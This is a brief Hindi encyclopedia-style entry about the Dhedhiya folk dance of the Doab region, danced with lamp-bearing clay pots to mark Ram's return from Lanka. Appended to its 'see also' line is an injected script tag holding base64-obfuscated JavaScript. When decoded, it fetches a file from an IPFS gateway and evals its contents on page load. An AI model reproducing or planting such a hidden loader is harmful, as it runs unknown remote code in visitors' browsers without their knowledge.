ढेढ़िया नृत्य का प्रचलन दोआब क्षेत्र में है, जो प्रमुखतः फ़तेहपुर ज़िले में प्रचलित है। राम के लंका विजय के पश्चात वापस आने पर उनके स्वागत में यह नृत्य किया जाता है। इसमें सिर पर छिद्रयुक्त मिट्टी के बर्तन में दीपक रखकर किया जाता है।
इन्हें भी देखें: उत्तर प्रदेश एवं उत्तर प्रदेश की संस्कृति<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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टीका टिप्पणी और संदर्भ
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